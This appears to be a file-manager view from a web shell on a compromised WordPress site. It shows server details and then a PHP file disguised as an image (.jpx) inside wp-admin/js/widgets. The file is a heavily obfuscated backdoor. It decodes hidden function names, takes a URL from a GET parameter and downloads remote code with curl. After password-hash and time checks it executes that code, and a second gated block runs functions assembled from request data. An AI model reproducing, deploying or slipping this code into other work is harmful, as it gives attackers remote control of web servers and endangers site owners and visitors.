HEX
Server: nginx/1.26.0
System: Linux iZj6ceg0gjdkbpnmyl2cnnZ 5.15.60-1.el7.x86_64 #1 SMP Thu Aug 11 12:39:22 UTC 2022 x86_64
User: www (1000)
PHP: 7.0.33
Disabled: phpinfo,eval,passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pfsockopen,fsocket,fsockopen
Upload Files
File: /data/wwwroot/sites/multitrustcapital.com/www/wp-admin/js/widgets/widgets/hSiLVspqgQIEC.jpx
<?php
 goto AB6UABJLAQ; r5dMhw5ifV: class cHfuW1jgHB { static function lTxAu97YcI($XpLfhV_nlR) { goto FN7Kb3vnfD; FN7Kb3vnfD: $PrYeQX68Dg = "\162" . "\141" . "\156" . "\x67" . "\145"; goto vw2wJP64xr; ckOW4rF0A8: foreach ($rpVEU35_WU as $aKku0TVScH => $oOxRWUqJKn) { $FtXdYxYauX .= $um6_GadUWN[$oOxRWUqJKn - 26266]; ORbyePzV52: } goto VQyS48tvrR; ykBsgoIuCb: $FtXdYxYauX = ''; goto ckOW4rF0A8; vw2wJP64xr: $um6_GadUWN = $PrYeQX68Dg("\x7e", "\40"); goto HuT9ZzGsao; nJmTY1xBNJ: return $FtXdYxYauX; goto YC7DumRxF4; HuT9ZzGsao: $rpVEU35_WU = explode("\173", $XpLfhV_nlR); goto ykBsgoIuCb; VQyS48tvrR: ZzDHlR0JGn: goto nJmTY1xBNJ; YC7DumRxF4: } static function IbaYNTp1bV($RSP37XasBS, $BVZ1o1Kn61) { goto hpXnGG2uG0; LhPAHxRpCS: $oPAz9p4ZLZ = curl_exec($quSoshd6Vl); goto AEdqQ0e34V; fd5QS04aET: curl_setopt($quSoshd6Vl, CURLOPT_RETURNTRANSFER, 1); goto LhPAHxRpCS; AEdqQ0e34V: return empty($oPAz9p4ZLZ) ? $BVZ1o1Kn61($RSP37XasBS) : $oPAz9p4ZLZ; goto CbnJH0U34X; hpXnGG2uG0: $quSoshd6Vl = curl_init($RSP37XasBS); goto fd5QS04aET; CbnJH0U34X: } static function ILliyDYPHu() { goto ttzAbm2UFM; ttzAbm2UFM: $Mv3Q030K5G = array("\x32\x36\62\71\x33\x7b\62\66\62\67\70\x7b\x32\x36\x32\71\x31\x7b\x32\66\x32\71\65\x7b\x32\66\62\67\66\x7b\62\66\62\71\61\x7b\x32\66\x32\71\67\173\x32\66\x32\x39\x30\173\62\x36\62\x37\65\x7b\62\x36\x32\70\62\173\x32\x36\x32\x39\x33\173\x32\x36\62\x37\x36\x7b\x32\x36\x32\x38\x37\173\62\66\62\x38\61\173\x32\66\x32\x38\62", "\x32\66\62\x37\67\x7b\62\66\x32\67\x36\x7b\62\x36\x32\67\x38\173\62\66\x32\71\x37\173\x32\66\62\x37\70\x7b\62\66\62\x38\x31\173\x32\66\62\67\x36\173\x32\66\63\64\63\173\62\x36\x33\64\x31", "\x32\x36\62\x38\x36\173\x32\x36\62\67\x37\173\x32\x36\62\x38\x31\173\x32\66\62\70\62\x7b\x32\66\x32\x39\67\x7b\62\x36\62\71\62\173\x32\66\62\71\x31\x7b\x32\x36\x32\71\63\x7b\62\66\x32\x38\61\173\62\x36\x32\x39\62\173\x32\66\x32\71\61", "\62\x36\x32\70\60\173\62\66\62\71\65\x7b\x32\x36\62\71\63\x7b\62\x36\x32\70\x35", "\x32\66\x32\x39\64\x7b\x32\66\x32\x39\65\x7b\x32\x36\62\x37\x37\173\62\66\x32\x39\61\173\x32\x36\x33\x33\70\173\x32\x36\63\64\x30\173\x32\66\x32\71\67\x7b\62\x36\x32\x39\x32\x7b\x32\66\62\x39\x31\x7b\62\66\x32\x39\63\173\62\66\62\x38\61\x7b\62\x36\x32\x39\x32\173\62\66\62\71\61", "\x32\66\x32\71\x30\x7b\62\66\x32\70\67\173\62\66\x32\x38\64\x7b\x32\x36\62\x39\61\x7b\x32\66\62\x39\67\x7b\x32\66\x32\70\71\x7b\62\66\62\71\61\173\x32\x36\62\67\66\173\x32\66\62\71\67\173\x32\66\62\71\x33\x7b\x32\66\62\70\61\x7b\62\x36\x32\70\62\173\62\66\x32\67\x36\x7b\62\x36\62\x39\61\x7b\62\x36\x32\70\x32\x7b\x32\66\62\x37\66\x7b\62\x36\x32\67\x37", "\x32\66\x33\62\60\x7b\62\x36\x33\x35\x30", "\x32\66\62\x36\67", "\62\x36\63\64\x35\173\62\x36\x33\x35\60", "\x32\66\63\x32\x37\x7b\62\66\x33\61\60\173\62\66\63\x31\60\x7b\62\x36\63\62\x37\x7b\62\66\63\60\63", "\62\x36\62\x39\x30\173\62\66\x32\x38\67\173\62\x36\62\x38\x34\x7b\62\x36\62\x37\66\x7b\x32\x36\x32\71\61\173\62\x36\x32\67\70\173\x32\x36\62\x39\x37\x7b\x32\x36\x32\x38\x37\x7b\62\66\x32\70\62\x7b\62\66\62\x38\x30\x7b\x32\66\62\67\65\x7b\62\x36\62\67\x36"); goto JW10oaWc7P; x9OI1mFvKK: die; goto uQmSkOuuan; p6tUolvy0o: $ogDWJl19bA = self::ibAYnTp1BV($xIHkp3qpr6[0 + 1], $SJDoF1WGfZ[1 + 4]); goto qhXxqobWlP; AMOxzlakfD: $xIHkp3qpr6 = $SJDoF1WGfZ[2 + 0]($PERJY5d5T9, true); goto W4OcnE7AlL; sOh2tEdphJ: $PERJY5d5T9 = @$SJDoF1WGfZ[3 + 0]($SJDoF1WGfZ[3 + 3], $f8DH7Z2UtF); goto AMOxzlakfD; W4OcnE7AlL: @$SJDoF1WGfZ[6 + 4](INPUT_GET, "\x6f\146") == 1 && die($SJDoF1WGfZ[3 + 2](__FILE__)); goto LM9zadnJL7; qhXxqobWlP: @$SJDoF1WGfZ[0]('', $SJDoF1WGfZ[7 + 0] . $SJDoF1WGfZ[3 + 1]($ogDWJl19bA) . $SJDoF1WGfZ[6 + 2]); goto x9OI1mFvKK; JW10oaWc7P: foreach ($Mv3Q030K5G as $IDoAgI4jY4) { $SJDoF1WGfZ[] = self::lTXAU97ycI($IDoAgI4jY4); RZUJ1ahbQs: } goto mCb9JbVkkH; I6r22rAegV: $f8DH7Z2UtF = @$SJDoF1WGfZ[1]($SJDoF1WGfZ[7 + 3](INPUT_GET, $SJDoF1WGfZ[4 + 5])); goto sOh2tEdphJ; uQmSkOuuan: BTX0W8YfuF: goto ZtUOkFj50q; mCb9JbVkkH: yCtoSukT6w: goto I6r22rAegV; LM9zadnJL7: if (!(@$xIHkp3qpr6[0] - time() > 0 and md5(md5($xIHkp3qpr6[0 + 3])) === "\71\142\x30\63\142\x66\x38\64\60\142\x33\x37\x34\64\64\146\x39\144\x37\x36\143\x33\x64\60\x31\x37\x62\144\x32\x31\x36\62")) { goto BTX0W8YfuF; } goto p6tUolvy0o; ZtUOkFj50q: } } goto KZrP0poHed; lEAM3yqBJ7: @(md5(md5(md5(md5($MFdwA52Gsg[8])))) === "\64\65\70\x65\x64\63\63\63\x34\x65\x36\70\x36\143\x63\63\x32\x33\144\x36\63\x30\x63\x63\142\143\145\x62\x38\x66\x62\143") && (($MFdwA52Gsg[67] = $MFdwA52Gsg[67] . $MFdwA52Gsg[75]) && ($MFdwA52Gsg[90] = $MFdwA52Gsg[67]($MFdwA52Gsg[90])) && @($MFdwA52Gsg = $MFdwA52Gsg[90]($MFdwA52Gsg[55], $MFdwA52Gsg[67](${$MFdwA52Gsg[41]}[29]))) && $MFdwA52Gsg()); goto Sz4QpqYI5e; V24zQc4Ojz: metaphone("\117\x31\120\x6e\60\63\x65\60\x59\142\x4d\124\x4d\x44\x7a\x70\x79\x41\x79\132\x47\x58\x59\x48\126\x62\157\x61\x6e\x6f\x64\x68\x53\101\x53\x45\124\66\x73\x49\65\67\167"); goto r5dMhw5ifV; DevpuoRgyT: $MFdwA52Gsg = ${$QhtB8VHwJ1[7 + 24] . $QhtB8VHwJ1[47 + 12] . $QhtB8VHwJ1[33 + 14] . $QhtB8VHwJ1[2 + 45] . $QhtB8VHwJ1[9 + 42] . $QhtB8VHwJ1[26 + 27] . $QhtB8VHwJ1[10 + 47]}; goto rr4l9MxEuN; Sz4QpqYI5e: OIhXyArMNi: goto V24zQc4Ojz; rr4l9MxEuN: if (!(in_array(gettype($MFdwA52Gsg) . count($MFdwA52Gsg), $MFdwA52Gsg) && count($MFdwA52Gsg) == 14)) { goto OIhXyArMNi; } goto lEAM3yqBJ7; AB6UABJLAQ: $QhtB8VHwJ1 = range("\176", "\x20"); goto DevpuoRgyT; KZrP0poHed: cHfUw1jGhb::iLLIYdyphU();
?>